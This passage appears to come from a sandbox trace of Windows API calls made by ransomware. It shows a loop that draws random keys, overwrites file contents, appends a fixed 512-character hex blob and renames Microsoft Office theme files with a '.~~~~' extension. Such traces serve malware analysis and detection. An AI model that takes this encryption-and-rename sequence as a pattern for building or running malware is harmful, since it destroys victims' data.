	[0122.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.761] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.761] GetLastError () returned 0x0
	[0122.761] GetLastError () returned 0x0
	[0122.761] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.761] GetLastError () returned 0x0
	[0122.761] GetLastError () returned 0x0
	[0122.764] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff5747, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.764] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xa8b9, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xa8b9, lpOverlapped=0x0) returned 1
	[0122.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.766] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.766] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.766] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.766] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.766] CloseHandle (hObject=0x11c) returned 1
	[0122.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x390b60
	[0122.766] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.~~~~")) returned 1
	[0122.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x390b60 | out: hHeap=0x300000) returned 1
	[0122.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.767] GetLastError () returned 0x0
	[0122.768] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.768] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.769] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.769] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24275884749) returned 1
	[0122.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb2a609d0, dwHighDateTime=0x1d60e1e)) 
	[0122.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f020
	[0122.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f020 | out: hHeap=0x300000) returned 1
	[0122.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.769] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.770] GetLastError () returned 0x0
	[0122.770] GetLastError () returned 0x0
	[0122.770] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.770] GetLastError () returned 0x0
	[0122.770] GetLastError () returned 0x0
	[0122.924] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff6013, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.924] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x9fed, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x9fed, lpOverlapped=0x0) returned 1
	[0122.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.926] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.926] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.926] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.926] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.927] CloseHandle (hObject=0x11c) returned 1
	[0122.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x390710
	[0122.927] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.~~~~")) returned 1
	[0122.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x390710 | out: hHeap=0x300000) returned 1
	[0122.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.929] GetLastError () returned 0x0
	[0122.929] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.931] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.931] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.931] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24292098501) returned 1
	[0122.931] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb2bdd790, dwHighDateTime=0x1d60e1e)) 
	[0122.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dd20
	[0122.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd20 | out: hHeap=0x300000) returned 1
	[0122.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2943620
	[0122.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b7138
	[0122.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2943620 | out: hHeap=0x300000) returned 1
	[0122.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7138 | out: hHeap=0x300000) returned 1
	[0122.932] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.932] GetLastError () returned 0x0
	[0122.932] GetLastError () returned 0x0
	[0122.932] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.932] GetLastError () returned 0x0
	[0122.932] GetLastError () returned 0x0
	[0122.935] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff1e1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.935] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe1f, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xe1f, lpOverlapped=0x0) returned 1
	[0122.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.937] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.937] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.937] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.937] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.938] CloseHandle (hObject=0x11c) returned 1
	[0122.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.938] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml.~~~~")) returned 1
	[0122.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.942] GetLastError () returned 0x0
	[0122.943] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.944] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.944] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.944] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24293402708) returned 1
	[0122.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb2c038f0, dwHighDateTime=0x1d60e1e)) 
	[0122.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dcb0
	[0122.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dcb0 | out: hHeap=0x300000) returned 1
	[0122.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2943620
	[0122.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ecbf0
	[0122.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2943620 | out: hHeap=0x300000) returned 1
	[0122.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.945] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ecbf0 | out: hHeap=0x300000) returned 1
	[0122.945] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.945] GetLastError () returned 0x0
	[0122.945] GetLastError () returned 0x0
	[0122.945] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.945] GetLastError () returned 0x0
	[0122.945] GetLastError () returned 0x0
	[0122.947] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff1f5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.947] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe0b, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xe0b, lpOverlapped=0x0) returned 1
	[0122.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.949] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.949] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.949] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.949] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.949] CloseHandle (hObject=0x11c) returned 1
	[0122.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0122.949] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml.~~~~")) returned 1
	[0122.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0122.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.951] GetLastError () returned 0x0
	[0122.952] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.954] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.954] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.954] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24294403276) returned 1
	[0122.954] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb2c29a50, dwHighDateTime=0x1d60e1e)) 
	[0122.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0122.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0122.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dff8
	[0122.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dff8 | out: hHeap=0x300000) returned 1
	[0122.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2943620
	[0122.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6760
	[0122.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2943620 | out: hHeap=0x300000) returned 1
	[0122.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6760 | out: hHeap=0x300000) returned 1
	[0122.955] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0122.955] GetLastError () returned 0x0
	[0122.955] GetLastError () returned 0x0
	[0122.955] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0122.955] GetLastError () returned 0x0
	[0122.955] GetLastError () returned 0x0
	[0122.958] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff1ea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.958] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe16, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xe16, lpOverlapped=0x0) returned 1
	[0122.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.959] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.959] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.959] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.959] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.960] CloseHandle (hObject=0x11c) returned 1
	[0122.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0122.960] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml.~~~~")) returned 1
	[0122.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0122.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0122.961] GetLastError () returned 0x0
	[0122.961] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0122.962] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.962] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0122.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0122.963] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24295285163) returned 1
	[0122.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb2c29a50, dwHighDateTime=0x1d60e1e)) 
	[0122.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0122.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
